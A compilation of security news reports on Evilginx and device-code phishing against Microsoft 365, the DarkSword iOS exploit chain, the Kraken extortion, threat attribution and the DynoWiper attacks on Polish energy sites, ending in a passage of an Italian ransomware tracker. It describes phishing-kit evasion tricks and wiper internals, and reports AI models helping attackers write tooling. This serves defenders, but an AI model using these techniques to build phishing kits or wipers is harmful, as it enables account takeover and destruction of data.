Misconfigured Server Reveals Three Evilginx Phishing Operations Targeting Microsoft 365
An attacker running a live Microsoft 365 phishing operation left a Python web server listening on a public port with directory listing switched on. The command that did it: python3 -m http.server 8080, was still sitting in the readable .bash_history. From that one lapse, French security firm Lexfo lifted the operator's entire toolkit and pivoted through it to two more phishing operators, three campaigns in all. Each ran a custom fork of the open-source Evilginx proxy, cloned from public GitHub. The largest of the three had been running for more than a year, its victims overwhelmingly corporate mailboxes. The three got past MFA in two mechanically different ways, one by proxying the live login, one by abusing a legitimate Microsoft sign-in flow. The two need different defenses, which is the part that matters most if you run Microsoft 365. Directory listing on a working attack server is close to a full confession. The listing exposed phishing configs, credential-harvesting logs, RMM installers, combolists, backup archives, and the operator's own Telegram session files. Behind it ran an Evilginx adversary-in-the-middle proxy and a SimpleHelp remote console on the same host, at 185.163.204[.]7 in Budapest, cataloged in late April 2026 during a routine internet scan. The bash history and a set of public repos pointed straight at the operator: an Egyptian actor the firm tracks as codemado, active in VoIP and hacking forums since 2018, now running a Microsoft 365 AiTM platform on picis[.]net and monetizing access through a bulk mailer he wrote called MaDoO Blaster. His campaign went live on April 20 and kept running past the day the directory was found on April 30, with fresh subdomains and a renewed wildcard certificate turning up weeks later. His own bot logged captures against two corporate M365 accounts, one French, one North American. The repeated captures of the same accounts from different IPs are consistent, the firm says, with the operator refreshing stolen tokens as they aged out. Where the kits came from codemado did not build the framework he runs. He cloned it, and his bash history shows him comparing kits side by side. The server held four Evilginx variants pulled from two other GitHub developers, and both turned out to be active operators in their own right. The first, red-queen, comes from a Nigerian operator the report calls mail-argenta, and it shows how much polish gets bolted onto a public framework. His fork renames the crossorigin and integrity HTML attributes to defeat Subresource Integrity checks and adds a URL-rewriting engine to http_proxy.go to dodge path-based detection. It pre-fills the victim's email address to cut abandonment. It also sets a one-year TTL, 31,536,000 seconds, on the captured Microsoft session cookies. The report says an intercepted login can then outlast a password reset and, without a CAE-capable Conditional Access policy, stay usable for months. A pre-compiled evilginx2.exe is committed to the repo, so a buyer never has to build anything. One captured M365 cookie sitting in the repo carried an expiration date of June 30, 2027. mail-argenta got caught the way his own victims do. The firm found his email and a password in infostealer logs, the kind of harvested-credential data his phishing panels exist to produce. That leaked password matched the one hardcoded as the MySQL password in his Kraken panel and reused across his accounts. The quiet one The third fork, black-queen, logged far more captures than the other two, and it never touches a password. Its author, whom the researchers could not identify past the handle saroula01, built it around Microsoft's OAuth device code flow, a legitimate sign-in path meant for input-constrained devices. The attack generates a real device code, wraps it in an Authenticator-themed lure page, and tells the target to enter it at the genuine microsoft.com/devicelogin. The victim signs in on a real Microsoft page and clears MFA themselves. saroula01's backend polls the token endpoint and takes the token the moment they do. Calling this "MFA bypass" misses how it works: nothing gets bypassed. The lure page is Authenticator-themed and attacker-built, but the device code and the Microsoft page where the victim finishes are genuine, so the MFA prompt the victim satisfies is real. A passkey or FIDO2 key does not help either, because the victim clears it on genuine Microsoft infrastructure while authorizing the attacker's session; the origin binding that stops Evilginx passes cleanly when the origin really is Microsoft. Microsoft documented the technique in February 2025, in a campaign it assessed with medium confidence as Russia-aligned. It has since spread well past state-backed use, into campaigns hitting hundreds of Microsoft 365 organizations. saroula01's version ran quietly for over a year. The firm counted 218 distinct captured accounts in the campaign's Telegram bot logs across a dozen countries between June 2025 and July 2026, around 94 percent of them corporate mailboxes. Those are logged captures, not scan targets. A token file briefly committed to the repo and then deleted, still readable in the git history, held 97 live Microsoft tokens tied to three of those victims, every one set to autoRefresh and some refreshed as many as 25 times. The framework was keeping the sessions alive on its own. Both phishing domains, picis[.]net and romnor[.]ca, were offline when The Hacker News checked ahead of publication, though the report's timeline shows picis[.]net still provisioning new subdomains as late as May 2026. The Lexfo CTI team told THN that the domains had already gone offline before it took any action, and reads that as the operators rotating infrastructure or pulling back rather than a coordinated takedown, though it cannot confirm which. The three connect, loosely, to something larger. In June 2026, SOCRadar documented a phishing-as-a-service ecosystem it named The Quarry, run by a developer it calls RockyBelling and, by its count, sold to close to 200 operators. MaDoO Blaster shows up promoted inside The Quarry's Telegram channel as a third-party tool, flagged independently in both writeups, which the report frames as a supplier relationship, not membership in it. Whether mail-argenta or saroula01 has any direct tie cannot be shown from the artifacts. Their kits sat on public GitHub, and anyone could have taken them. Built with help The report found signs of AI-assisted development across all three operations, though they vary in strength. saroula01 left two git commits co-authored by Claude models. mail-argenta committed an instructions.txt that is a verbatim save of an AI coding session, references to earlier prompts and all, documenting how the URL-rewriting feature got built. codemado's is thinner: one of his scripts credits CyberNeurova, a paid "uncensored" code-generation API, the report says, which advertises itself with the prompt "Build me a keylogger in Python." Two of the three put a model directly in the code; the third is a credit line, and none of them shows how much of each build the model did. It is not confined to these three either. Microsoft has separately documented device-code phishing built on AI-driven backend automation and generative-AI lures. The Hacker News asked the report's authors how much of the tooling AI actually produced across the three operations. The Lexfo CTI team said the Evilginx forks carried only minor changes to the core, and that the clearer signs of AI use sat in the glue code around them, the scripts and phishlets, several of which read as direct model output. It was less the framework itself, the team said, than the code built around it. What defenders can actually do The two techniques do not share a fix. Phishing-resistant MFA, FIDO2, or passkeys still shut down the Evilginx side by binding the sign-in to the real domain. It does not stop device code abuse. For that, the lever is Conditional Access. Microsoft's own line is to block device code flow wherever possible. A handful of setups genuinely need it, mostly input-constrained hardware like Teams room devices and some command-line tools. Inventory that uses the sign-in logs, blocks the flow everywhere else, and tests the policy in report-only mode before enforcing. Layer IP-based Conditional Access location policies and Continuous Access Evaluation on top, so that on supported Microsoft 365 workloads, a stolen token seen from outside your allowed ranges gets reevaluated instead of riding out its lifetime. For detection, the report flags refresh-token grants from the Microsoft Office client ID d3590ed6-52b3-4102-aeff-aad2292ab01c in Entra sign-in logs as worth watching, where that desktop client is not in normal use; cross-check them against unfamiliar source IPs. The same Microsoft guidance flags a catch: a session that started with device code flow stays tagged on later refreshes even when the current event no longer shows it, so hunt on the sign-in's Original transfer method field, not just the live authentication protocol. On endpoints, hunt for the RMM tooling these operators drop for persistence; codemado's kit reaches for XEOX, so start with the agent at C:\Program Files (x86)\XEOX\xeox-agent_x64.exe and scheduled tasks matching *XEOX*Agent*Watchdog*. The domains and IPs are in the report, but that infrastructure rotates, so treat it as containment, not a fix. The Hacker News also asked Microsoft about the abuse of its device code flow, and had received no response by the time of publication. This story will be updated with any reply. None of this took much: three operators, none of whom built the frameworks they ran, stood up working campaigns off public repositories, kits that sell for a few hundred dollars, and a model helping with the custom parts. The report reads that the barrier to a working campaign has fallen to near zero, and the Lexfo CTI team expects this class of attack to become significantly more common over the coming months. One cheap ecosystem now supplies two ways around MFA, and that is the part that outlasts any single campaign here: a shop hardened against reverse-proxy phishing is still open to device-code abuse. Blocking that second path is one Conditional Access policy, no passkey rollout adds for you, and it exists only once someone writes it. Update (July 16, 2026) Lexfo has issued an erratum to the report. Three entries it originally listed as malicious indicators, agent01.xeox.com, ws01.xeox.com, and 80.80.250.0/24, are legitimate XEOX vendor infrastructure, shared across all XEOX customers. Anyone who blocked them off that list should reverse that. The corrected guidance is to alert and audit XEOX activity only where XEOX is not an authorized tool, and the same qualifier applies to the endpoint artifacts above: XEOX is a product some environments run on purpose.
thehackernews.comJul 13, 2026extracted
Crypto-exchange Kraken extorted by hackers after insider breach
The Kraken cryptocurrency exchange announced that a cybercrime group is trying to extort the company by threatening to release videos showing internal systems that host client data. The company’s Chief Security Officer, Nick Percoco, stated that the incident did not put client funds at risk and involved an insider threat, with two instances of improper access to limited customer data by support employees. Kraken says that it will not pay or negotiate with the threat actor. “We are currently being extorted by a criminal group threatening to release videos of our internal systems with client data shown if we do not comply with their demands,” stated Percoco. “It’s important to start with the most important points: our systems were never breached; funds were never at risk; we will not pay these criminals; we will not ever negotiate with bad actors.” Kraken is a U.S.-based cryptocurrency exchange that enables millions of users across 190 countries to buy, sell, and trade digital assets such as Bitcoin, Ethereum, and 200 others. It is considered one of the largest and most established exchanges, with a daily trading volume of hundreds of millions of U.S. dollars. Following a “tip from a trusted source” in February 2025 about cybercriminals circulating a video demonstrating access to its client support systems, Kraken initiated an investigation and uncovered a support employee recruited by the threat actor. More recently, Kraken received a tip about another, more recent video showing insider access to its systems. In both cases, the company reacted quickly by revoking the employee’s access, launching investigations, and strengthening controls. Where user exposure was identified, Kraken notified affected users directly. According to Percoco, the incident affects only about 2,000 accounts, which represents 0.02% of Kraken’s user base. For this small subset, the exposed information reportedly only concerns client support data. Kraken stated that its investigation has gathered enough evidence to legally prosecute all involved individuals attempting to blackmail them, and the company is closely working with federal law enforcement across multiple jurisdictions towards this goal. Insider threats and malicious recruitment are a broader problem impacting multiple industries, and especially the cryptocurrency sector. In mid-2025, it was revealed that another major American cryptocurrency exchange, Coinbase, suffered a data breach after hackers bribed employees of an India-based customer support agency to disclose to them private client support information. In that case, the incident impacted 70,000 customers, with Coinbase estimating the total financial damages to be $400 million. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comApr 14, 2026extracted
A DarkSword hangs over unpatched iPhones
Researchers at Google have identified an iOS exploit chain, named DarkSword, that has been used since late last year by multiple actors to infect iPhones with malware in targeted attacks. DarkSword combines six vulnerabilities in iOS and Safari to deploy malware on the device. It demonstrates, once again, how important it is to keep up with updates. The exploit works against iPhones running iOS versions 18.4 through 18.7, and simply visiting a malicious or compromised website with a vulnerable device can be enough to get infected (a drive‑by attack). Update April 2, 2026 The researchers found that several groups are using the tool to attack their preferred targets. DarkSword has been used both by commercial spyware vendors and by state‑backed actors, with campaigns observed in Saudi Arabia, Turkey, Malaysia, and Ukraine. In Saudi Arabia, attackers used a fake Snapchat lookalike. In Ukraine, attackers compromised at least two Ukrainian websites, including a government site. Upon successful exploitation, malware is executed on the device. The type of malware depends on the attacker. In the Ukrainian campaign, that malware is known as Ghostblade, one example of a payload delivered via the DarkSword exploit chain. Ghostblade is a JavaScript‑based data‑stealer that exfiltrates unique device identifiers, SMS and iMessage messages, call history, contacts, Wi‑Fi configuration and passwords, Safari cookies and browsing history, location data, notes, calendar entries, health data, photos, iCloud Drive files, SIM information, emails, a list of installed apps, saved passwords, and the message history from Telegram and WhatsApp. Beyond this, Ghostblade stands out because it also targets cryptocurrency‑related data, actively seeking apps for major exchanges (Coinbase, Binance, Kraken, Kucoin, OKX, Mexc) and wallet apps (Ledger, Trezor, Metamask, Exodus, Uniswap, Phantom, Gnosis Safe). Researchers note that Ghostblade is not built for long‑term surveillance: once it has collected the data, it deletes its temporary files and terminates itself. The risks Vulnerable devices can be infected just by visiting that one malicious or compromised website. And the consequences can be severe. DarkSword turns a single website visit into full device compromise, followed by Ghostblade exfiltrating as much data as it can in one go. Data theft: Ghostblade and related payloads can grab communications (SMS, iMessage, Telegram, WhatsApp, email), photos, health data, location history, Wi‑Fi credentials, keychain items, and more in one sweep. Crypto theft and profiling: The malware enumerates specific exchange and wallet apps, which allows both direct theft and lets criminals use the stolen information to build a detailed profile of financially interesting targets. Forensic evasion: Because Ghostblade wipes its own traces after stealing all that information, it can take a long time before victims figure out something is wrong. Many victims may never know they were compromised. Since the same exploit kit is being reused across commercial surveillance firms and state‑aligned actors, the number of campaigns and victims will increase over time. The solutions Update to the latest iOS available for your device. DarkSword can affect iOS versions 18.4 through 18.7, and Apple’s recent releases include fixes for CVE‑2026‑20700 and related vulnerabilities. If you have reason to believe you’re a potential target for attacks of this nature (journalists, activists, or people that have access to sensitive data) it is advisable to enable Lockdown Mode: Open the Settings app. Tap Privacy & Security. Scroll down, tap Lockdown Mode, then tap Turn On Lockdown Mode. Read the presented information and tap Turn On Lockdown Mode. Tap Turn On & Restart. Enter your device passcode when prompted. Do inform yourself about the consequences of turning on Lockdown Mode. It makes your device a lot less user-friendly, but it has proven effective against highly targeted attacks. Here are some more general tips: Use up-to-date, real-time anti-malware protection for your device to block malicious websites where possible. Avoid following links sent in unsolicited messages, especially for services like Snapchat, crypto exchanges, banking, or email. Use content blockers (for example Malwarebytes Browser Guard) in Safari to reduce exposure to malicious content (though they are not a silver bullet for zero‑days). Move high‑value crypto assets to hardware wallets or dedicated devices, and use mobile wallets only for smaller amounts. Use a password manager with strong authentication, and turn on extra security settings like Face ID/Touch ID and avoid auto‑filling high‑risk credentials. Enable multi-factor authentication (FIDO2 security keys or app‑based 2FA) on exchanges and financial accounts, so stolen passwords alone are not enough to plunder your accounts. Regularly review app permissions and revoke access to sensitive data (Location, Photos, Contacts, Microphone, Camera, Health) revoke where unnecessary. Scammers know more about you than you think. Malwarebytes Mobile Security protects you from phishing, scam texts, malicious sites, and more. With real-time AI-powered Scam Guard built right in.
malwarebytes.comMar 19, 2026extracted
Russia-linked hackers use advanced iPhone exploit to target Ukrainians
Russia-linked hackers use advanced iPhone exploit to target Ukrainians A likely Russia-linked threat actor deployed a sophisticated iPhone hacking tool to target Ukrainian users and steal sensitive data, according to research published on Wednesday. The malware, dubbed DarkSword, allows attackers to break into iPhones with little to no user interaction, extract sensitive data within minutes, and then erase traces of the intrusion, researchers at cybersecurity firm Lookout said. They attributed the activity to a threat actor tracked as UNC6353. Little is known about the group’s infrastructure or broader affiliations, but it has previously targeted victims in Ukraine using the Coruna exploit chain. The DarkSword campaign has been active since at least late 2025 and continued through March, primarily targeting visitors to compromised Ukrainian websites in so-called “watering hole” attacks, where hackers infect sites frequented by their intended victims. Among the affected sites were a regional news outlet covering the war and a local court’s website. Researchers also identified a possible infection at a Ukrainian food processing company in February. Once a victim visits an infected page, the attack is triggered automatically, allowing hackers to gain deep access to the device and retrieve emails, messages, photos, credentials and data from cryptocurrency wallets. Unlike traditional spyware campaigns designed for long-term surveillance, DarkSword appears to operate on a “hit-and-run” model, according to Lookout. It rapidly collects and exfiltrates data, often within minutes, before deleting itself from the device. “This malware is highly sophisticated and appears to be a professionally designed platform,” researchers said, noting that it was built to support modular development and long-term use. The latest UNC6353 campaign combines espionage with financial motives, targeting a wide range of cryptocurrency platforms, including Coinbase, Binance and Kraken, as well as popular wallets such as MetaMask and Ledger. Given the malware’s capabilities, researchers said the hackers may have access to high-end exploit tools typically associated with government clients or commercial surveillance vendors. “The discoveries of DarkSword and previously Coruna suggest a secondary market for advanced exploits,” Lookout said, allowing actors with fewer resources to acquire and deploy sophisticated capabilities. Despite the advanced tooling, the attackers themselves may not be highly sophisticated. Analysts noted limited efforts to conceal parts of the operation and suggested the group may rely on purchased exploits and even artificial intelligence to develop additional malware components. According to a report by Google on Wednesday, DarkSword was deployed by various threat actors to target users in Saudi Arabia, Turkey and Malaysia. Apple patched the vulnerabilities exploited in these attacks in late 2025 after they were disclosed, researchers said. Daryna Antoniuk is a reporter for Recorded Future News based in Ukraine. She writes about cybersecurity startups, cyberattacks in Eastern Europe and the state of the cyberwar between Ukraine and Russia. She previously was a tech reporter for Forbes Ukraine. Her work has also been published at Sifted, The Kyiv Independent and The Kyiv Post.
therecord.mediaMar 18, 2026extracted
How does cyberthreat attribution help in practice?
Not every cybersecurity practitioner thinks it’s worth the effort to figure out exactly who’s pulling the strings behind the malware hitting their company. The typical incident investigation algorithm goes something like this: analyst finds a suspicious file → if the antivirus didn’t catch it, puts it into a sandbox to test → confirms some malicious activity → adds the hash to the blocklist → goes for coffee break. These are the go-to steps for many cybersecurity professionals — especially when they’re swamped with alerts, or don’t quite have the forensic skills to unravel a complex attack thread by thread. However, when dealing with a targeted attack, this approach is a one-way ticket to disaster — and here’s why. If an attacker is playing for keeps, they rarely stick to a single attack vector. There’s a good chance the malicious file has already played its part in a multi-stage attack and is now all but useless to the attacker. Meanwhile, the adversary has already dug deep into corporate infrastructure and is busy operating with an entirely different set of tools. To clear the threat for good, the security team has to uncover and neutralize the entire attack chain. But how can this be done quickly and effectively before the attackers manage to do some real damage? One way is to dive deep into the context. By analyzing a single file, an expert can identify exactly who’s attacking his company, quickly find out which other tools and tactics that specific group employs, and then sweep infrastructure for any related threats. There are plenty of threat intelligence tools out there for this, but I’ll show you how it works using our Kaspersky Threat Intelligence Portal. A practical example of why attribution matters Let’s say we upload a piece of malware we’ve discovered to a threat intelligence portal, and learn that it’s usually being used by, say, the MysterySnail group. What does that actually tell us? Let’s look at the available intel: First off, these attackers target government institutions in both Russia and Mongolia. They’re a Chinese-speaking group that typically focuses on espionage. According to their profile, they establish a foothold in infrastructure and lay low until they find something worth stealing. We also know that they typically exploit the vulnerability CVE-2021-40449. What kind of vulnerability is that? As we can see, it’s a privilege escalation vulnerability — meaning it’s used after hackers have already infiltrated the infrastructure. This vulnerability has a high severity rating and is heavily exploited in the wild. So what software is actually vulnerable? Got it: Microsoft Windows. Time to double-check if the patch that fixes this hole has actually been installed. Alright, besides the vulnerability, what else do we know about the hackers? It turns out they have a peculiar way of checking network configurations — they connect to the public site 2ip.ru: So it makes sense to add a correlation rule to SIEM to flag that kind of behavior. Now’s the time to read up on this group in more detail and gather additional indicators of compromise (IoCs) for SIEM monitoring, as well as ready-to-use YARA rules (structured text descriptions used to identify malware). This will help us track down all the tentacles of this kraken that might have already crept into corporate infrastructure, and ensure we can intercept them quickly if they try to break in again. Kaspersky Threat Intelligence Portal provides a ton of additional reports on MysterySnail attacks, each complete with a list of IoCs and YARA rules. These YARA rules can be used to scan all endpoints, and those IoCs can be added into SIEM for constant monitoring. While we’re at it, let’s check the reports to see how these attackers handle data exfiltration, and what kind of data they’re usually hunting for. Now we can actually take steps to head off the attack. And just like that, MysterySnail, the infrastructure is now tuned to find you and respond immediately. No more spying for you! Malware attribution methods Before diving into specific methods, we need to make one thing clear: for attribution to actually work, the threat intelligence provided needs a massive knowledge base of the tactics, techniques, and procedures (TTPs) used by threat actors. The scope and quality of these databases can vary wildly among vendors. In our case, before even building our tool, we spent years tracking known groups across various campaigns and logging their TTPs, and we continue to actively update that database today. With a TTP database in place, the following attribution methods can be implemented: Dynamic attribution: identifying TTPs through the dynamic analysis of specific files, then cross-referencing that set of TTPs against those of known hacking groups Technical attribution: finding code overlaps between specific files and code fragments known to be used by specific hacking groups in their malware Dynamic attribution Identifying TTPs during dynamic analysis is relatively straightforward to implement; in fact, this functionality has been a staple of every modern sandbox for a long time. Naturally, all of our sandboxes also identify TTPs during the dynamic analysis of a malware sample: The core of this method lies in categorizing malware activity using the MITRE ATT&CK framework. A sandbox report typically contains a list of detected TTPs. While this is highly useful data, it’s not enough for full-blown attribution to a specific group. Trying to identify the perpetrators of an attack using just this method is a lot like the ancient Indian parable of the blind men and the elephant: blindfolded folks touch different parts of an elephant and try to deduce what’s in front of them from just that. The one touching the trunk thinks it’s a python; the one touching the side is sure it’s a wall, and so on. Technical attribution The second attribution method is handled via static code analysis (though keep in mind that this type of attribution is always problematic). The core idea here is to cluster even slightly overlapping malware files based on specific unique characteristics. Before analysis can begin, the malware sample must be disassembled. The problem is that alongside the informative and useful bits, the recovered code contains a lot of noise. If the attribution algorithm takes this non-informative junk into account, any malware sample will end up looking similar to a great number of legitimate files, making quality attribution impossible. On the flip side, trying to only attribute malware based on the useful fragments but using a mathematically primitive method will only cause the false positive rate to go through the roof. Furthermore, any attribution result must be cross-checked for similarities with legitimate files — and the quality of that check usually depends heavily on the vendor’s technical capabilities. Kaspersky’s approach to attribution Our products leverage a unique database of malware associated with specific hacking groups, built over more than 25 years. On top of that, we use a patented attribution algorithm based on static analysis of disassembled code. This allows us to determine — with high precision, and even a specific probability percentage — how similar an analyzed file is to known samples from a particular group. This way, we can form a well-grounded verdict attributing the malware to a specific threat actor. The results are then cross-referenced against a database of billions of legitimate files to filter out false positives; if a match is found with any of them, the attribution verdict is adjusted accordingly. This approach is the backbone of the Kaspersky Threat Attribution Engine, which powers the threat attribution service on the Kaspersky Threat Intelligence Portal.
kaspersky.comFeb 2, 2026extracted
CERT Polska Details Coordinated Cyber Attacks on 30+ Wind and Solar Farms
CERT Polska, the Polish computer emergency response team, revealed that coordinated cyber attacks targeted more than 30 wind and photovoltaic farms, a private company from the manufacturing sector, and a large combined heat and power plant (CHP) supplying heat to almost half a million customers in the country. The incident took place on December 29, 2025. The agency has attributed the attacks to a threat cluster dubbed Static Tundra, which is also tracked as Berserk Bear, Blue Kraken, Crouching Yeti, Dragonfly, Energetic Bear, Ghost Blizzard (formerly Bromine), and Havex. Static Tundra is assessed to be linked to Russia's Federal Security Service's (FSB) Center 16 unit. It's worth noting that recent reports from ESET and Dragos attributed the activity with moderate confidence to a different Russian state-sponsored hacking group known as Sandworm. "All attacks had a purely destructive objective," CERT Polska said in a report published Friday. "Although attacks on renewable energy farms disrupted communication between these facilities and the distribution system operator, they did not affect the ongoing production of electricity. Similarly, the attack on the combined heat and power plant did not achieve the attacker’s intended effect of disrupting heat supply to end users." The attackers are said to have gained access to the internal network of power substations associated with a renewable energy facility to carry out reconnaissance and disruptive activities, including damaging the firmware of controllers, deleting system files, or launching custom-built wiper malware codenamed DynoWiper by ESET. In the intrusion aimed at the CHP, the adversary engaged in long-term data theft dating all the way back to March 2025 that enabled them to escalate privileges and move laterally across the network. The attackers' attempts to detonate the wiper malware were unsuccessful, CERT Polska noted. On the other hand, the targeting of the manufacturing sector company is believed to be opportunistic, with the threat actor gaining initial access via a vulnerable Fortinet perimeter device. The attack targeting the grid connection point is also likely to have involved the exploitation of a vulnerable FortiGate appliance. At least four different versions of DynoWiper have been discovered to date. These variants were deployed on Mikronika HMI Computers used by the energy facility and on a network share within the CHP after securing access through the SSL‑VPN portal service of a FortiGate device. "The attacker gained access to the infrastructure using multiple accounts that were statically defined in the device configuration and did not have two‑factor authentication enabled," CERT Polska said, detailing the actor's modus operandi targeting the CHP. "The attacker connected using Tor nodes, as well as Polish and foreign IP addresses, which were often associated with compromised infrastructure." The wiper's functionality is fairly straightforward - Initialization that involves seeding a pseudorandom number generator (PRNG) called Mersenne Twister Enumerate files and corrupt them using the PRNG Delete files It's worth mentioning here that the malware does not have a persistence mechanism, a way to communicate with a command‑and‑control (C2) server, or execute shell commands. Nor does it attempt to hide the activity from security programs. CERT Polska said the attack targeting the manufacturing sector company involved the use of a PowerShell-based wiper dubbed LazyWiper that scripts overwrites files on the system with pseudorandom 32‑byte sequences to render them unrecoverable. It's suspected that the core wiping functionality was developed using a large language model (LLM). "The malware used in the incident involving renewable energy farms was executed directly on the HMI machine," CERT Polska pointed out. "In contrast, in the CHP plant (DynoWiper) and the manufacturing sector company (LazyWiper), the malware was distributed within the Active Directory domain via a PowerShell script executed on a domain controller." The agency also described some of the code-level similarities between DynoWiper and other wipers built by Sandworm as "general" in nature and does not offer any concrete evidence as to whether the threat actor participated in the attack. "The attacker used credentials obtained from the on‑premises environment in attempts to gain access to cloud services," CERT Polska said. "After identifying credentials for which corresponding accounts existed in the M365 service, the attacker downloaded selected data from services such as Exchange, Teams, and SharePoint." "The attacker was particularly interested in files and email messages related to OT network modernization, SCADA systems, and technical work carried out within the organizations." Update Hitachi Energy, whose RTU560 Remote Terminal Units (RTUs) were targeted in the attacks, has released an advisory, stating the affected devices have been confirmed to be located behind vulnerable firewalls, running outdated firmware version for RTU500 series (e.g., CVE‑2024‑2617), configured with default credentials, and operating without recommended security features enabled. "These circumstances created a scenario in which the devices were exposed to an increased risk," Hitachi Energy said. "Customers are strongly encouraged to assess their environments and adopt the recommended safeguards." Besides TTU560 RTUs, attackers have also been found to target the following devices - Hitachi Relion protection and control relays using a mix of a default FTP account and default credentials Mikronika RTUs and human-machine interfaces (HMIs) using default credentials Moxa NPort serial device servers using exposed web interfaces and default credentials In an independent report, ESET published additional details of the DynoWiper malware, describing it as capable of recursively wiping files on all removable and fixed drives, excluding specific directories in the C:\ drive (e.g., system32, windows, program files, temp, boot, perflogs, appdata, and documents and settings). "The wiper overwrites files using a 16-byte buffer that contains random data generated once at the start of the wiper’s execution," ESET said. "Files of size 16 bytes or fewer are fully overwritten, with smaller files being extended to 16 bytes. To speed up the destruction process, other files (larger than 16 bytes) have only some parts of their contents overwritten." In a follow-up analysis of DynoWiper, Elastic Security Labs said the malware intentionally avoids system-critical directories to maintain system stability during the attack, and that it opts for a rapid file corruption approach to ensure data is unrecoverable. "DYNOWIPER employs a Mersenne Twister PRNG to generate pseudorandom data for file corruption," it said. "Rather than overwriting entire files (which requires time), it strategically corrupts files by: Removing file protection attributes via 'SetFileAttributesW(FILE_ATTRIBUTE_NORMAL),' Opening files with CreateFileW for read/write access Overwriting the file header with 16 bytes of random data, [and] for larger files, generating up to 4,096 random offsets and overwriting each with 16-byte sequences." DynoWiper has been found to share "several similarities" with another wiper strain codenamed ZOV, which the Slovakian cybersecurity company attributes to Sandworm with high confidence. ZOV was deployed in two different attacks targeting an energy company and a financial institution in Ukraine in January 2024 and November 2025, respectively. ESET said the DynoWiper's links to Sandworm are based on tactical overlaps and the threat actor's targeting of energy companies, including those in Poland, with malware families such as BlackEnergy and GreyEnergy in the past. It also pointed out that it's not aware of any other threat actor that has employed wipers in cyber operations aimed at European Union countries. "Although Sandworm has previously targeted companies in Poland, it typically did so covertly," it added. "In particular, the preparatory stages leading up to the destructive activity may have been conducted by another threat actor group collaborating with Sandworm." (The story was updated after publication to reflect the latest analyses from ESET and Elastic Security Labs.)
thehackernews.comJan 31, 2026extracted
Attacchi ransomware alle aziende italiane oggi (in aggiornamento)
Il ransomware è un tipo di malware che si diffonde rapidamente in tutto il mondo e rappresenta una minaccia sempre più significativa per le aziende e gli individui, anche in Italia. Questa guida ragionata aiuta il lettore a monitorare, con costanti aggiornamenti, l’andamento delle rivendicazioni ransomware che impattano sulle vittime italiane. Il monitoraggio comprende anche lo studio dei dati sulle cyber gang ransomware attualmente conosciute. I dati sono forniti da estrazioni personalizzate operate dal progetto italiano DRM – Dashboard Ransomware Monitor, che tiene sotto controllo in tempo reale tutti i gruppi criminali ransomware. Indice degli argomenti Il funzionamento del ransomware consiste nel blocco dell’accesso ai file sul computer infetto, al quale segue la richiesta di un riscatto per ripristinare l’accesso ai dati. Spesso, i criminali informatici che distribuiscono il ransomware chiedono il pagamento del riscatto in Bitcoin o altre criptovalute, poiché queste valute digitali sono difficili da rintracciare. La doppia estorsione è sempre più diffusa e, alla minaccia appena descritta, si aggiunge la seconda che preme sulle vittime dando un timeout oltre il quale tutto il materiale crittografato (che precedentemente è stato rubato dall’infrastruttura attaccata) viene esposto online sui siti Web della cyber gang che ha condotto l’operazione. In Italia, il ransomware è una minaccia che possiamo considerare particolarmente preoccupante per le aziende, soprattutto quelle che gestiscono dati sensibili dei clienti come informazioni finanziarie e personali. Secondo il “Bitdefender Threat Debrief” di marzo 2025, febbraio ha segnato un triste primato: un aumento del 126% delle vittime rivendicate rispetto all’anno precedente, raggiungendo un picco storico di 962 casi. Questo incremento, guidato in parte dallo sfruttamento di vulnerabilità in software come Cleo, sottolinea la necessità di una vigilanza e di una protezione sempre più sofisticate. La prevenzione degli attacchi ransomware richiede un’attenta pianificazione, la formazione dei dipendenti e l’implementazione di misure di sicurezza informatica efficaci. Solo in questo modo sarà possibile proteggere i propri dati e limitare i danni derivanti da eventuali attacchi di questo tipo. Il questo grafico, costantemente aggiornato, viene evidenziata la situazione delle cyber gang che hanno condotto attacchi in aziende ed enti italiani, nel corso del 2026. La totalità degli attacchi rivolti a vittime italiane, vengono qui raggruppati per gruppi criminali, al fine di identificare le organizzazioni più prolifiche nel nostro Paese. Il dato del numero totale di rivendicazioni ransomware contro target italiani, aggiornato al 13/08/2026: 175. 03-08-2026 – L’attacco è stato rivendicato dal gruppo criminale safepay. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 07-08-2026 – L’attacco è stato rivendicato dal gruppo criminale thegentlemen. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 07-08-2026 – L’attacco è stato rivendicato dal gruppo criminale spacebears. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 09-08-2026 – L’attacco è stato rivendicato dal gruppo criminale krybit. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 09-08-2026 – L’attacco è stato rivendicato dal gruppo criminale play. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 10-08-2026 – L’attacco è stato rivendicato dal gruppo criminale bravox. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 11-08-2026 – L’attacco è stato rivendicato dal gruppo criminale qilin. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 12-08-2026 – L’attacco è stato rivendicato dal gruppo criminale spacebears. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 12-08-2026 – L’attacco è stato rivendicato dal gruppo criminale majinahanashi. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 12-08-2026 – L’attacco è stato rivendicato dal gruppo criminale clop. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 01-07-2026 – L’attacco è stato rivendicato dal gruppo criminale worldleaks. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 01-07-2026 – L’attacco è stato rivendicato dal gruppo criminale thegentlemen. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 02-07-2026 – L’attacco è stato rivendicato dal gruppo criminale apt73/bashe. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 05-07-2026 – L’attacco è stato rivendicato dal gruppo criminale payload. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 06-07-2026 – L’attacco è stato rivendicato dal gruppo criminale cry0. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 07-07-2026 – L’attacco è stato rivendicato dal gruppo criminale AiLock. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 08-07-2026 – L’attacco è stato rivendicato dal gruppo criminale spacebears. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 10-07-2026 – L’attacco è stato rivendicato dal gruppo criminale thegentlemen. Azienda operante nel settore N/D (fonte dati: Ransomfeed) 10-07-2026 – L’attacco è stato rivendicato dal gruppo criminale lockbit5. Azienda operante nel settore N/D (fonte 